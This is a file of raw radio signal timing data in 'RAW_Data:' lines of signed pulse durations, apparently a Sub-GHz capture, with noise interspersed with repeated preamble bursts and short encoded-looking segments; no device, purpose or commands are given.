-54 71 -480 51 -98 51 -278 113 -213 55 -461 61 -101 89 -160 116 -470 109 -381 67 -98 69 -54 206 -120 59 -124 87 -1381 63 -462 51 -80 63 -350 67 -114 67 -579 89 -1117 77 -138 96 -106 138 -303 55 -213 61 -64 65 -124 135 -230 87 -197 63 -240 87 -96 51 -313 80 -223 61 -236 97 -462 63 -253 65 -132 107 -317 83 -320 63 -258 117 -170 126 -70 51 -197 82 -70 59 -276 51 -198 92 -62 53 -351 131 -88 98 -149 61 -321 145 -58 89 -545 63 -449 104 -52 51 -963 134 -126 71 -528 125 -156 133 -52 61 -208 51 -480 61 -88 63 -160 55 -106 126 -327 148 -209 65 -635 75 -116 79 -80 146 -438 178 -162 59 -52 94 -144 76 -441 87 -68 57 -149 104 -108 61 -98 233 -87 51 -477 103 -88 95 -335 61 -642 91 -116 53 -232 61 -476 73 -54 119 -165 59 -293 51 -98 59 -96 53 -204 51 -339 65 -413 71 -54 79 -188 85 -119 69 -250 67 -234 51 -110 53 -263 73 -331 61 -296 53 -378 97 -400 132 -248 224 -178 177 -100 59 -370 59 -286 88 -144 114 -72 73 -1217 53 -301 79 -88 83 -138 59 -128 69 -261 59 -84 88 -168 61 -562 71 -198 53 -201 81 -599 97 -142 84 -126 115 -54 59 -176 89 -174 107 -235 53 -149 71 -152 71 -602 75 -710 51 -302 137 -397 55 -76 57 -311 63 -235 99 -221 59 -681 71 -248 90 -581 113 -80 53 -354 53 -244 65 -162 81 -290 101 -254 51 -123 53 -290 53 -561 95 -94 53 -203 67 -928 71 -693 83 -211 53 -233 89 -344 51 -177 57 -826 63 -116 84 -541 89 -125 71 -134 103 -427 91 -269 61 -307 148 -349 83 -62 89 -434 93 -423 110 -237 88 -112 65 -164 51 -344 67 -54 89 -62 71 -88 -RAW_Data: 61 -477 209 -54 65 -62 53 -198 113 -741 61 -876 51 -155 142 -376 59 -60 146 -128 97 -237 73 -458 53 -72 153 -98 51 -234 99 -746 61 -235 111 -519 73 -68 59 -104 53 -109 65 -486 51 -98 51 -164 53 -279 93 -104 123 -496 53 -74 132 -259 61 -538 53 -90 89 -54 53 -266 51 -72 61 -587 92 -189 63 -198 134 -193 111 -90 57 -103 51 -301 97 -260 51 -249 65 -237 158 -199 91 -150 59 -339 67 -184 141 -168 136 -171 63 -232 71 -294 106 -104 53 -152 203 -72 51 -82 53 -879 51 -259 172 -54 63 -52 88 -204 117 -290 51 -452 67 -156 73 -597 59 -231 71 -474 124 -106 88 -142 71 -190 77 -184 95 -98 79 -102 57 -182 96 -697 61 -126 59 -96 93 -492 51 -224 117 -107 97 -169 61 -598 121 -62 116 -474 57 -385 85 -360 67 -62 86 -122 95 -925 130 -400 59 -174 61 -514 59 -189 67 -228 61 -216 53 -519 95 -422 51 -90 67 -689 53 -305 86 -80 98 -62 63 -319 180 -409 93 -431 51 -160 89 -180 79 -223 74 -407 59 -111 88 -178 83 -446 69 -406 71 -212 119 -120 51 -148 111 -130 89 -238 51 -284 61 -621 53 -341 69 -60 59 -281 55 -332 51 -132 114 -2108 189 -128 91 -252 61 -802 71 -60 99 -98 53 -299 117 -304 104 -438 118 -154 53 -318 57 -141 53 -144 120 -81 61 -113 71 -262 73 -285 59 -116 63 -1370 73 -315 67 -86 77 -463 59 -348 122 -176 61 -290 57 -613 129 -853 81 -262 53 -105 149 -435 53 -956 81 -204 121 -62 51 -1258 78 -172 92 -438 75 -70 67 -203 97 -301 106 -68 73 -317 57 -81 51 -240 61 -259 67 -545 85 -296 141 -54 175 -233 85 -66 134 -181 84 -552 77 -210 61 -124 161 -174 173 -152 63 -340 99 -82 85 -116 71 -124 53 -238 102 -104 65 -477 84 -479 141 -175 53 -328 132 -403 53 -115 63 -427 53 -150 51 -82 59 -129 63 -221 89 -321 132 -295 233 -496 89 -156 53 -296 121 -64 343 -300 158 -54 53 -168 53 -284 53 -511 99 -543 63 -274 114 -461 114 -395 146 -94 115 -202 67 -141 69 -314 65 -60 61 -194 71 -182 123 -416 88 -54 71 -399 61 -96 124 -811 51 -310 73 -78 88 -192 81 -214 73 -114 59 -154 53 -254 79 -286 79 -456 53 -295 81 -249 85 -152 87 -72 90 -1217 95 -116 114 -154 61 -135 75 -481 183 -89 51 -398 99 -365 89 -114 61 -62 107 -223 53 -327 79 -119 53 -145 91 -100 51 -540 111 -299 53 -402 124 -313 -RAW_Data: 161 -519 187 -226 67 -116 53 -80 77 -370 61 -214 53 -444 111 -358 61 -104 61 -167 53 -84 112 -555 75 -94 81 -351 73 -405 51 -215 196 -652 61 -142 106 -68 53 -184 79 -170 94 -153 152 -285 133 -62 685 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 209 -60 89 -64 273 -141 122 -54 144 -54 63 -381 53 -1034 53 -192 194 -164 78 -330 67 -294 91 -395 112 -62 59 -273 73 -103 89 -102 119 -230 121 -342 59 -841 81 -88 107 -54 61 -54 75 -351 85 -101 57 -68 59 -186 51 -309 81 -80 59 -266 97 -341 53 -98 80 -168 67 -162 67 -112 112 -203 61 -90 88 -72 67 -188 73 -245 156 -474 71 -271 105 -152 66 -305 71 -330 89 -825 55 -120 61 -60 -RAW_Data: 93 -240 126 -120 125 -331 61 -524 99 -130 132 -253 115 -132 87 -885 51 -410 84 -454 53 -146 57 -202 95 -142 57 -80 164 -190 79 -278 113 -106 57 -88 59 -74 65 -267 57 -64 61 -588 103 -159 113 -264 135 -269 61 -225 115 -316 51 -158 138 -320 67 -56 95 -340 125 -92 271 -239 85 -166 71 -925 51 -360 79 -415 176 -431 51 -112 51 -253 51 -329 53 -325 106 -76 55 -152 108 -272 137 -54 53 -237 89 -272 61 -54 51 -140 89 -82 61 -82 97 -358 77 -170 59 -393 51 -445 89 -268 85 -540 178 -239 53 -265 87 -529 57 -152 73 -108 77 -90 59 -120 51 -700 199 -402 195 -170 136 -54 111 -505 65 -84 87 -252 59 -327 59 -138 181 -564 51 -229 65 -120 113 -116 75 -379 63 -122 53 -271 61 -436 59 -380 125 -128 51 -611 150 -144 1105 -56 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 127 -66 61 -128 127 -64 61 -128 63 -62 63 -62 63 -64 63 -64 61 -64 127 -64 63 -62 63 -64 61 -128 129 -64 61 -126 65 -62 63 -62 127 -128 63 -64 61 -64 61 -64 63 -64 127 -128 63 -62 63 -62 127 -128 127 -56 71 -126 127 -128 127 -128 53 -64 131 -64 63 -62 63 -64 61 -64 63 -128 129 -64 61 -62 63 -62 63 -64 63 -62 63 -64 63 -64 63 -128 127 -64 61 -62 63 -128 63 -64 125 -128 63 -64 61 -64 125 -130 63 -62 63 -62 63 -62 127 -130 63 -62 61 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 127 -64 63 -62 63 -126 65 -62 63 -62 63 -64 63 -64 127 -128 127 -128 127 -56 67 -126 129 -64 61 -62 63 -62 63 -128 127 -64 63 -62 63 -62 63 -128 63 -64 125 -66 61 -64 61 -64 63 -62 63 -128 63 -64 63 -62 127 -130 127 -126 63 -62 125 -66 61 -64 61 -128 63 -64 125 -66 61 -128 127 -64 61 -126 129 -128 63 -62 327 -133 116 -426 134 -260 93 -374 110 -126 53 -521 149 -181 51 -90 67 -215 71 -179 88 -426 215 -311 194 -374 57 -98 97 -146 97 -438 107 -100 95 -412 161 -198 93 -188 151 -64 89 -584 69 -586 53 -202 53 -481 -RAW_Data: 67 -72 77 -90 57 -60 65 -320 87 -609 73 -120 67 -610 59 -231 71 -70 53 -222 61 -312 53 -286 71 -418 98 -164 97 -948 71 -114 75 -90 79 -194 53 -388 105 -96 63 -196 89 -60 91 -201 128 -230 59 -60 61 -351 123 -236 53 -256 53 -198 89 -280 53 -665 61 -68 188 -232 63 -1012 61 -167 80 -60 73 -130 67 -157 81 -178 118 -303 78 -110 53 -118 71 -106 51 -134 51 -518 149 -207 118 -349 85 -58 81 -238 170 -239 93 -345 82 -112 77 -301 51 -195 53 -296 227 -54 53 -276 97 -324 129 -175 115 -58 89 -216 67 -173 99 -375 69 -130 71 -158 136 -495 51 -675 133 -751 61 -109 86 -88 61 -90 53 -239 61 -54 231 -64 85 -663 87 -150 88 -96 73 -309 101 -370 71 -98 70 -60 124 -441 71 -310 53 -183 63 -401 51 -512 75 -70 63 -124 63 -573 130 -54 61 -458 51 -76 53 -212 55 -1208 67 -416 53 -82 51 -209 124 -82 134 -375 59 -86 115 -214 107 -164 267 -156 59 -128 103 -213 55 -242 53 -64 67 -257 53 -207 69 -80 61 -249 61 -142 53 -62 288 -108 69 -318 161 -180 76 -115 176 -204 149 -84 63 -178 81 -429 304 -72 61 -110 59 -80 57 -74 146 -56 59 -60 116 -94 650 -277 77 -52 250 -52 276 -160 89 -254 119 -84 59 -54 134 -110 105 -119 65 -230 132 -102 256 -159 51 -123 143 -90 71 -103 161 -82 195 -79 135 -242 208 -183 59 -99 71 -236 105 -113 63 -169 172 -52 83 -68 199 -114 146 -117 91 -107 59 -123 107 -95 75 -151 97 -64 77 -64 202 -64 67 -104 164 -108 57 -404 172 -152 105 -66 164 -90 181 -82 53 -261 158 -104 61 -116 104 -191 170 -370 168 -72 57 -126 53 -183 87 -111 63 -90 63 -134 53 -697 90 -223 93 -66 69 -580 59 -132 59 -832 96 -98 63 -119 53 -102 65 -112 53 -94 280 -291 73 -209 141 -427 102 -405 89 -54 53 -687 114 -146 94 -220 101 -487 59 -443 144 -235 53 -325 115 -119 80 -193 53 -142 89 -198 67 -228 91 -94 61 -335 177 -84 51 -297 53 -364 63 -375 63 -192 114 -128 101 -197 53 -378 51 -60 63 -614 65 -96 86 -476 61 -64 71 -80 89 -52 130 -282 217 -587 115 -156 51 -122 112 -120 113 -296 51 -825 113 -102 85 -128 96 -72 61 -152 145 -313 51 -64 92 -144 103 -94 77 -341 83 -167 81 -265 59 -272 51 -908 53 -471 53 -116 116 -353 81 -96 53 -96 76 -164 105 -113 67 -200 53 -304 80 -247 59 -968 -RAW_Data: 187 -301 137 -229 91 -162 89 -146 71 -214 59 -416 127 -144 53 -84 110 -60 140 -220 63 -378 132 -204 106 -597 151 -114 57 -60 144 -142 99 -909 57 -82 107 -72 89 -196 112 -136 69 -90 51 -195 81 -1036 126 -279 67 -443 67 -351 59 -393 75 -75 1347 -56 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 201 -96 144 -267 125 -77 53 -271 123 -234 71 -275 63 -125 61 -82 86 -115 63 -52 78 -330 110 -120 103 -476 63 -347 81 -520 53 -493 51 -610 81 -190 59 -198 59 -490 138 -216 61 -149 73 -64 57 -68 92 -78 65 -60 63 -222 194 -84 51 -136 130 -396 89 -132 53 -80 81 -126 55 -321 77 -105 59 -128 81 -210 160 -589 51 -360 81 -98 59 -99 120 -212 111 -318 150 -488 81 -62 63 -160 67 -86 -RAW_Data: 61 -64 127 -128 127 -128 55 -70 125 -64 61 -64 63 -126 65 -62 127 -128 127 -56 69 -62 63 -128 63 -62 63 -64 61 -64 331 -204 103 -376 96 -685 59 -236 51 -305 101 -84 106 -391 63 -404 71 -648 79 -386 59 -134 61 -141 67 -64 95 -778 51 -144 51 -90 59 -117 78 -96 129 -112 154 -142 61 -64 71 -169 59 -348 53 -592 78 -87 117 -125 89 -142 69 -177 123 -126 53 -66 91 -374 51 -66 97 -268 107 -145 100 -208 53 -430 86 -164 73 -399 143 -250 65 -255 95 -705 129 -60 67 -720 142 -76 91 -96 95 -54 65 -92 51 -142 53 -598 113 -457 104 -826 53 -102 90 -248 69 -68 102 -510 122 -208 141 -259 53 -204 61 -259 69 -100 51 -658 75 -97 125 -252 89 -118 78 -114 51 -384 51 -138 69 -329 103 -120 59 -251 132 -205 97 -919 59 -62 67 -388 97 -112 71 -138 71 -72 163 -279 202 -297 90 -275 53 -130 81 -383 79 -72 210 -239 59 -322 122 -799 59 -453 51 -224 88 -246 63 -334 154 -670 76 -293 69 -237 202 -70 61 -123 106 -134 185 -277 63 -247 53 -221 53 -88 95 -96 65 -92 79 -108 61 -337 63 -56 51 -178 63 -550 124 -112 85 -489 59 -164 252 -86 73 -74 154 -84 61 -141 132 -106 61 -763 89 -352 76 -122 53 -71 71 -419 59 -128 115 -160 103 -151 186 -230 67 -164 71 -480 55 -111 67 -290 57 -1154 79 -194 75 -68 55 -385 75 -475 53 -244 103 -284 236 -70 69 -203 63 -92 121 -264 57 -119 115 -94 105 -52 88 -323 89 -94 74 -100 88 -231 81 -182 150 -311 152 -122 55 -154 83 -89 151 -58 158 -118 71 -234 59 -143 51 -52 75 -104 112 -350 61 -64 132 -337 75 -386 75 -86 300 -190 79 -228 117 -125 59 -143 88 -52 61 -90 166 -175 158 -170 57 -80 63 -349 104 -88 124 -118 71 -52 71 -370 149 -56 75 -106 71 -148 75 -297 90 -201 63 -104 67 -97 91 -256 79 -424 123 -60 51 -332 63 -72 53 -80 126 -216 107 -243 114 -105 63 -126 77 -98 51 -350 94 -82 78 -90 124 -90 71 -70 163 -204 121 -228 65 -533 75 -102 77 -212 67 -212 53 -70 87 -293 221 -497 79 -712 67 -862 99 -261 51 -114 118 -622 55 -141 63 -98 81 -282 61 -245 59 -108 67 -484 63 -198 61 -154 59 -645 210 -150 53 -378 100 -257 82 -113 53 -82 59 -1065 141 -114 61 -314 89 -124 132 -128 81 -359 71 -239 146 -90 76 -196 59 -282 115 -194 85 -165 237 -249 83 -183 -RAW_Data: 57 -114 55 -112 99 -634 105 -266 114 -146 73 -248 53 -64 141 -134 127 -249 89 -211 152 -104 176 -136 51 -156 88 -106 119 -269 87 -74 67 -88 55 -119 107 -222 103 -457 69 -368 53 -133 79 -249 51 -670 71 -304 107 -964 95 -720 53 -108 81 -128 53 -170 79 -930 216 -576 100 -377 69 -291 89 -406 96 -104 71 -126 92 -593 158 -288 71 -254 67 -92 84 -100 122 -114 107 -456 51 -247 111 -305 57 -423 113 -90 83 -930 53 -491 59 -124 51 -97 75 -385 63 -92 51 -357 57 -126 98 -124 76 -624 51 -235 51 -54 153 -473 59 -202 51 -62 132 -152 106 -54 138 -441 122 -338 76 -64 115 -139 53 -205 134 -453 97 -96 89 -97 105 -88 119 -127 75 -52 89 -52 163 -171 99 -92 194 -126 115 -116 124 -70 115 -236 71 -122 182 -355 81 -273 91 -180 53 -341 81 -125 71 -202 59 -123 59 -295 79 -98 51 -144 57 -127 81 -52 163 -96 195 -89 120 -78 97 -188 143 -300 146 -164 81 -206 69 -237 85 -97 209 -143 177 -240 69 -310 67 -163 210 -327 53 -108 176 -187 178 -58 71 -70 145 -78 193 -54 81 -82 59 -296 119 -701 61 -908 119 -226 107 -994 152 -128 63 -308 121 -108 51 -621 53 -366 89 -250 69 -134 53 -60 71 -373 65 -230 61 -90 51 -382 80 -122 97 -130 85 -903 59 -415 59 -140 101 -78 51 -523 89 -102 157 -517 89 -341 61 -322 115 -162 53 -216 156 -284 71 -325 69 -190 71 -162 78 -125 63 -269 53 -883 158 -140 65 -531 69 -587 77 -126 53 -280 145 -131 65 -472 51 -180 51 -142 89 -134 154 -80 53 -54 139 -478 69 -412 67 -290 59 -104 97 -471 51 -140 53 -201 53 -197 95 -125 80 -258 65 -82 89 -84 79 -403 115 -140 152 -392 61 -108 168 -416 106 -96 149 -211 105 -100 83 -766 107 -666 82 -180 132 -518 121 -1452 122 -196 86 -174 57 -215 92 -98 63 -258 53 -90 126 -180 92 -147 122 -665 53 -216 95 -181 96 -54 69 -328 83 -92 149 -112 57 -54 98 -300 53 -176 99 -104 87 -301 59 -86 99 -292 53 -128 61 -239 97 -534 61 -913 59 -171 96 -551 67 -84 132 -122 119 -62 96 -688 63 -290 87 -537 169 -497 73 -62 154 -98 99 -64 81 -54 73 -436 63 -244 59 -78 96 -560 59 -54 71 -78 61 -129 63 -382 63 -76 117 -793 59 -167 59 -78 61 -393 51 -1092 59 -186 67 -72 53 -72 53 -292 255 -98 104 -133 89 -113 71 -90 59 -591 65 -82 53 -252 57 -275 -RAW_Data: 75 -507 154 -80 79 -317 63 -62 95 -143 53 -180 85 -307 121 -476 123 -112 71 -268 110 -209 79 -302 53 -96 67 -122 63 -76 53 -412 77 -411 88 -68 101 -80 53 -1127 122 -812 131 -522 55 -804 85 -124 59 -390 117 -162 59 -198 113 -306 178 -54 105 -94 51 -196 94 -101 51 -450 61 -239 61 -82 59 -165 163 -412 91 -425 81 -635 77 -209 65 -90 91 -195 53 -132 61 -352 86 -158 63 -108 55 -100 61 -64 75 -383 176 -260 53 -831 63 -99 83 -214 53 -250 89 -629 102 -328 124 -494 59 -194 129 -116 67 -72 96 -495 51 -94 109 -52 53 -121 57 -124 148 -557 53 -106 53 -160 79 -606 79 -547 73 -414 203 -118 88 -134 97 -806 71 -323 51 -428 73 -288 69 -495 77 -556 59 -156 67 -120 129 -310 71 -96 53 -270 63 -186 67 -181 197 -209 254 -72 57 -101 53 -114 164 -850 53 -601 123 -411 71 -72 106 -98 97 -133 91 -66 51 -62 73 -161 96 -70 61 -647 258 -536 59 -82 63 -89 53 -1038 53 -334 83 -162 95 -242 51 -232 55 -150 53 -675 150 -322 107 -134 75 -52 103 -176 53 -382 84 -118 53 -376 71 -206 67 -144 59 -157 53 -66 71 -204 99 -190 69 -100 85 -72 69 -113 65 -256 231 -103 59 -187 85 -149 73 -339 51 -106 71 -165 93 -206 77 -136 83 -448 53 -418 81 -448 51 -166 53 -172 71 -335 59 -91 53 -527 65 -234 173 -52 88 -273 89 -94 158 -366 63 -162 79 -160 59 -58 95 -79 53 -278 71 -96 92 -111 55 -171 107 -362 109 -99 119 -465 82 -96 81 -350 121 -246 71 -80 87 -178 55 -142 136 -177 53 -136 97 -331 99 -114 71 -229 71 -461 53 -165 139 -233 51 -223 51 -354 121 -552 53 -54 53 -158 77 -339 106 -406 53 -68 51 -90 51 -70 61 -192 63 -62 122 -248 89 -508 61 -205 61 -259 142 -502 57 -383 51 -96 111 -56 61 -178 79 -125 120 -218 61 -468 77 -54 79 -375 53 -64 94 -284 53 -251 53 -196 207 -132 53 -609 106 -250 53 -287 67 -668 95 -323 65 -207 154 -216 99 -542 53 -90 217 -89 53 -326 243 -174 53 -80 61 -126 114 -215 106 -258 133 -54 53 -718 65 -185 71 -52 69 -322 104 -353 113 -178 65 -60 81 -1394 71 -228 69 -532 53 -64 84 -500 98 -84 51 -74 144 -56 89 -121 105 -514 85 -202 160 -835 53 -102 59 -149 51 -243 53 -688 124 -133 83 -313 67 -425 71 -97 156 -946 98 -587 59 -192 51 -98 63 -247 65 -90 69 -500 -RAW_Data: 53 -118 106 -457 63 -80 211 -214 65 -262 91 -129 85 -142 51 -237 63 -86 69 -311 61 -297 103 -90 59 -170 65 -108 53 -125 53 -231 109 -349 77 -78 61 -259 73 -347 61 -92 77 -304 69 -164 95 -487 73 -119 51 -487 132 -582 53 -322 198 -126 103 -52 65 -327 85 -56 83 -434 69 -58 129 -565 89 -52 59 -60 69 -681 67 -131 67 -787 81 -135 102 -464 59 -220 168 -772 174 -317 53 -195 59 -68 51 -52 59 -237 93 -238 77 -126 71 -98 53 -249 65 -328 53 -90 192 -125 122 -267 81 -176 68 -76 59 -94 61 -98 67 -308 106 -64 78 -371 62 -949 101 -92 114 -273 195 -763 86 -146 75 -352 97 -290 51 -200 53 -212 61 -170 88 -289 59 -54 85 -124 89 -484 135 -217 59 -335 83 -886 89 -179 126 -162 97 -481 57 -615 114 -58 55 -130 61 -123 81 -116 151 -54 94 -262 61 -408 68 -489 139 -340 65 -397 121 -114 79 -82 113 -247 93 -68 124 -175 124 -251 160 -148 53 -292 134 -156 67 -335 57 -154 57 -86 67 -174 98 -622 67 -56 53 -104 199 -222 59 -96 122 -132 118 -108 259 -469 59 -113 73 -796 170 -128 61 -236 61 -56 93 -318 81 -278 150 -62 117 -76 65 -168 67 -105 59 -294 69 -326 104 -52 99 -361 67 -76 69 -320 51 -221 168 -654 121 -58 51 -330 61 -371 73 -148 53 -266 59 -170 123 -524 69 -314 150 -54 73 -74 95 -320 63 -175 138 -108 59 -132 121 -438 96 -876 71 -149 51 -74 53 -116 61 -135 61 -106 75 -454 99 -177 130 -298 55 -62 63 -1057 65 -427 85 -164 59 -188 59 -68 61 -218 152 -189 174 -347 98 -88 55 -149 81 -294 106 -203 63 -140 51 -193 107 -392 53 -108 53 -126 113 -263 137 -130 122 -222 94 -98 95 -239 69 -472 230 -227 59 -81 67 -62 73 -120 69 -289 81 -834 55 -224 63 -334 69 -128 61 -52 154 -269 95 -126 324 -104 292 -305 63 -132 69 -366 180 -235 119 -90 87 -144 53 -54 93 -255 165 -465 65 -313 86 -173 175 -235 145 -539 71 -261 51 -252 93 -274 148 -484 53 -208 96 -208 192 -88 53 -159 88 -900 65 -180 128 -80 53 -331 72 -736 698 -56 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 -RAW_Data: 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 217 -114 85 -205 156 -570 51 -467 114 -513 105 -110 93 -163 53 -52 158 -220 114 -952 103 -408 87 -70 61 -105 75 -54 134 -159 67 -507 125 -78 89 -324 141 -52 79 -112 116 -86 147 -486 115 -52 89 -310 67 -618 63 -211 61 -70 57 -187 86 -160 53 -371 207 -195 160 -294 79 -78 75 -177 59 -143 73 -187 142 -108 107 -278 67 -128 53 -263 111 -225 166 -58 51 -186 61 -228 109 -70 91 -94 73 -1081 77 -82 61 -90 81 -70 79 -277 151 -262 125 -106 53 -380 53 -100 75 -752 73 -174 128 -601 126 -324 102 -582 61 -397 105 -537 53 -369 81 -300 116 -471 61 -54 142 -350 150 -118 88 -519 53 -54 53 -60 65 -90 81 -258 322 -138 59 -367 91 -370 55 -98 89 -211 184 -253 94 -193 65 -215 122 -159 61 -1041 53 -593 53 -64 53 -54 51 -100 83 -146 71 -126 53 -363 78 -557 53 -154 61 -429 51 -118 53 -110 55 -86 55 -338 59 -94 86 -315 69 -124 99 -173 51 -290 59 -233 67 -248 -RAW_Data: 101 -278 104 -72 115 -72 93 -669 107 -167 73 -234 69 -80 63 -498 55 -54 53 -126 96 -625 63 -72 65 -135 59 -597 51 -62 75 -733 63 -62 77 -76 53 -116 61 -79 53 -184 59 -482 97 -165 1164 -56 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 127 -64 61 -128 127 -64 61 -126 65 -62 63 -62 63 -64 63 -62 63 -64 127 -64 63 -62 63 -64 61 -128 129 -64 61 -126 65 -62 63 -62 127 -128 63 -64 61 -62 63 -64 63 -64 127 -128 63 -62 63 -62 127 -128 127 -56 69 -128 127 -128 127 -126 55 -64 131 -64 63 -64 61 -64 61 -64 63 -128 127 -64 63 -62 63 -62 63 -64 61 -64 63 -64 63 -64 61 -128 129 -64 61 -62 63 -128 63 -64 125 -128 63 -64 61 -62 127 -130 63 -62 61 -64 63 -62 127 -130 63 -62 61 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 127 -64 63 -62 63 -126 65 -62 63 -62 63 -64 63 -62 129 -128 127 -56 69 -126 127 -128 127 -56 69 -62 63 -62 63 -128 127 -128 127 -56 69 -126 63 -64 127 -64 61 -128 127 -128 63 -62 125 -128 63 -64 125 -128 127 -56 69 -126 65 -62 125 -130 127 -56 69 -126 127 -128 127 -56 69 -126 63 -64 125 -64 265 -211 53 -52 59 -54 61 -269 79 -604 67 -432 53 -835 57 -251 59 -299 115 -169 51 -223 51 -225 65 -68 55 -78 67 -158 53 -264 101 -92 57 -142 126 -76 89 -80 59 -374 59 -371 51 -538 51 -295 53 -152 99 -90 59 -308 57 -236 96 -282 61 -80 114 -116 61 -135 106 -118 57 -243 73 -130 107 -201 73 -247 196 -72 69 -862 67 -678 51 -416 141 -198 61 -54 106 -466 95 -118 117 -116 85 -827 96 -117 117 -114 53 -114 75 -130 92 -66 93 -201 125 -192 98 -733 135 -128 95 -459 51 -64 141 -285 92 -207 114 -52 53 -278 51 -421 81 -242 85 -246 71 -72 89 -80 53 -511 151 -229 93 